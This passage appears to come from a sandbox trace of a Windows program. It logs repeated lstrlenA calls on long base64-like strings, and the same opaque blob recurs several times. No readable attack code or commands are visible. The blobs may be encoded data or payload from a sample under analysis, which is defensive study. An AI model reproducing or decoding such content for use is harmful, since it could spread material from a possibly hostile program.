W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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